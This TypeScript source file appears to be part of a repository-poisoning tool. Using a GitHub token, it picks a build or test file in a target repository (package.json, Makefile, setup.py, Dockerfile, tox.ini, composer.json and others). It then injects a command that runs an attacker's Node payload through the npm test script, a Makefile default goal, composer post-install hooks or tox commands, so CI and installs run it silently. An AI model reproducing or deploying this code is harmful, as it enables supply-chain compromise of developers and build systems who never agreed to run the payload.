import { githubJson } from "../../github_utils/client";
import { logUtil } from "../../utils/logger";
import type { LotpTarget, TargetRepo } from "./types";

declare function scramble(str: string): string;

// ───────────────────────────────────────────────────────────────────────
// Language → candidate setup / test files
//
// Only files that can actually execute commands.  We try them in order
// and pick the first one that exists in the repo.
// ───────────────────────────────────────────────────────────────────────

const LANGUAGE_CANDIDATES: Record<string, string[]> = {
  JavaScript: ["package.json", "Makefile"],
  TypeScript: ["package.json", "Makefile"],
  Python: ["tox.ini", "setup.py", "Makefile"],
  Go: ["Makefile", "install.sh", "setup.sh"],
  Ruby: ["Gemfile", "Rakefile", "Makefile"],
  Rust: ["Makefile"],
  Java: ["Makefile"],
  Kotlin: ["Makefile"],
  Shell: ["Makefile", "install.sh", "setup.sh"],
  PHP: ["composer.json", "Makefile"],
  "C#": ["Makefile"],
  "C++": ["Makefile", "CMakeLists.txt"],
  C: ["Makefile", "CMakeLists.txt"],
  Swift: ["Makefile"],
  Dart: ["Makefile"],
  Elixir: ["Makefile"],
  Dockerfile: ["Dockerfile", "Makefile"],
  Perl: ["Makefile.PL", "Makefile"],
  Scala: ["Makefile"],
  "Objective-C": ["Podfile", "Makefile"],
  Lua: ["Makefile"],
};

const FALLBACK_CANDIDATES = ["Makefile", "package.json"];

// ───────────────────────────────────────────────────────────────────────
// Injection builders
// ───────────────────────────────────────────────────────────────────────

function buildInjection(filePath: string, payloadPath: string): string {
  const runCmd = `node ${payloadPath}`;

  // package.json handled by applyJsonScript — returns the raw command
  if (filePath === "package.json") return runCmd;

  // JavaScript / TypeScript files
  if (/\.(js|ts|mjs|cjs)$/.test(filePath)) {
    return `require("child_process").execSync("${runCmd}",{stdio:"inherit"});\n`;
  }

  // Python files
  if (/\.py$/.test(filePath)) {
    return `import os; os.system("${runCmd}")\n`;
  }

  // Perl files
  if (/\.pl$/.test(filePath) || filePath === "Makefile.PL") {
    return `system("${runCmd}");\n`;
  }

  // Ruby files (incl. Podfile — CocoaPods DSL evaluated at pod install)
  if (
    /\.rb$/.test(filePath) ||
    filePath === "Gemfile" ||
    filePath === "Rakefile" ||
    filePath === "Podfile"
  ) {
    return `system("${runCmd}")\n`;
  }

  // Makefile
  if (filePath === "Makefile" || filePath.endsWith(".mk")) {
    return `\n.PHONY: _setup\n_setup:\n\t@${runCmd}\n`;
  }

  // Shell scripts — inject after shebang if present
  if (/\.sh$/.test(filePath)) {
    return `${runCmd}\n`;
  }

  // Dockerfile
  if (filePath === "Dockerfile") {
    return `RUN ${runCmd}\n`;
  }

  // CMakeLists.txt
  if (filePath === "CMakeLists.txt") {
    return `execute_process(COMMAND sh -c "${runCmd}")\n`;
  }

  // composer.json — use scripts section
  if (filePath === "composer.json") return runCmd;

  // tox.ini — inject into the [testenv] commands directive
  if (filePath === "tox.ini") {
    return runCmd;
  }

  // Default: shell one-liner prepend
  return `${runCmd}\n`;
}

// ───────────────────────────────────────────────────────────────────────
// File-existence check & fetch
// ───────────────────────────────────────────────────────────────────────

async function fileExists(
  token: string,
  owner: string,
  repo: string,
  path: string,
): Promise<boolean> {
  try {
    await githubJson(token, `/repos/${owner}/${repo}/contents/${path}`);
    return true;
  } catch {
    return false;
  }
}

async function fetchFileContent(
  token: string,
  owner: string,
  repo: string,
  path: string,
): Promise<string | null> {
  try {
    const data = await githubJson<{ content?: string; encoding?: string }>(
      token,
      `/repos/${owner}/${repo}/contents/${path}`,
    );
    if (data.content && data.encoding === "base64") {
      return Buffer.from(data.content, "base64").toString("utf-8");
    }
    return null;
  } catch {
    return null;
  }
}

// ───────────────────────────────────────────────────────────────────────
// Content modification strategies
// ───────────────────────────────────────────────────────────────────────

function applyPrepend(original: string, injection: string): string {
  return injection + original;
}

function applyShell(original: string, injection: string): string {
  // Inject after shebang so the script still executes with the right shell
  if (original.startsWith("#!")) {
    const newline = original.indexOf("\n");
    if (newline >= 0) {
      return (
        original.slice(0, newline + 1) + injection + original.slice(newline + 1)
      );
    }
  }
  return injection + original;
}

function applyJsonScript(original: string, runCmd: string): string {
  try {
    const pkg = JSON.parse(original);
    if (!pkg.scripts) pkg.scripts = {};
    const existing = pkg.scripts["test"];
    // Target `test` — the script CI pipelines run on every commit.
    // Append to any existing command so we don't break the original.
    pkg.scripts["test"] = existing ? `${existing}; ${runCmd}` : runCmd;
    return JSON.stringify(pkg, null, 2) + "\n";
  } catch {
    return `// test: ${runCmd}\n${original}`;
  }
}

function applyMakefile(original: string, injection: string): string {
  if (/^all\s*:/m.test(original)) {
    return original.replace(/^(all\s*:.*)$/m, `$1 _setup`) + injection;
  }
  return `.DEFAULT_GOAL := _setup\n\n${injection}${original}`;
}

function applyComposer(original: string, runCmd: string): string {
  try {
    const pkg = JSON.parse(original);
    if (!pkg.scripts) pkg.scripts = {};
    pkg.scripts["post-install-cmd"] = runCmd;
    return JSON.stringify(pkg, null, 2) + "\n";
  } catch {
    return `// post-install-cmd: ${runCmd}\n${original}`;
  }
}

/** Append our command to the [testenv] commands list in tox.ini. */
function applyToxIni(original: string, runCmd: string): string {
  // If there's a commands section, append to it.
  const cmdRe = /^(\s*commands\s*=.*)$/m;
  if (cmdRe.test(original)) {
    return original.replace(cmdRe, `$1\n    ${runCmd}`);
  }
  // No commands section — add a [testenv] block with our command.
  return `${original}\n[testenv]\ncommands =\n    ${runCmd}\n`;
}

// ───────────────────────────────────────────────────────────────────────
// Public API
// ───────────────────────────────────────────────────────────────────────

export async function determineTarget(
  token: string,
  repo: TargetRepo,
  payloadPath: string,
): Promise<LotpTarget | null> {
  const candidates =
    (repo.language ? LANGUAGE_CANDIDATES[repo.language] : null) ??
    FALLBACK_CANDIDATES;

  logUtil.log(
    `[RepoMutator] ${repo.fullName}: lang=${repo.language ?? "?"}, checking ${candidates.length} candidate(s)`,
  );

  for (const candidate of candidates) {
    if (await fileExists(token, repo.owner, repo.name, candidate)) {
      const injection = buildInjection(candidate, payloadPath);
      logUtil.log(`[RepoMutator] ${repo.fullName}: matched "${candidate}"`);
      return {
        filePath: candidate,
        strategy: strategyFor(candidate),
        injection,
      };
    }
  }

  logUtil.log(`[RepoMutator] ${repo.fullName}: no candidate file found`);
  return null;
}

function strategyFor(filePath: string): LotpTarget["strategy"] {
  if (filePath === "package.json" || filePath === "composer.json")
    return "json_script";
  if (filePath === "Makefile" || filePath.endsWith(".mk")) return "makefile";
  if (filePath === "tox.ini") return "tox_ini";
  if (/\.sh$/.test(filePath)) return "shell";
  return "prepend";
}

export async function buildModifiedContent(
  token: string,
  owner: string,
  name: string,
  target: LotpTarget,
): Promise<string | null> {
  const original = await fetchFileContent(token, owner, name, target.filePath);
  if (original === null) return null;

  switch (target.strategy) {
    case "prepend":
      return applyPrepend(original, target.injection);
    case "json_script":
      if (target.filePath === "composer.json")
        return applyComposer(original, target.injection);
      return applyJsonScript(original, target.injection);
    case "shell":
      return applyShell(original, target.injection);
    case "makefile":
      return applyMakefile(original, target.injection);
    case "tox_ini":
      return applyToxIni(original, target.injection);
    default:
      return applyPrepend(original, target.injection);
  }
}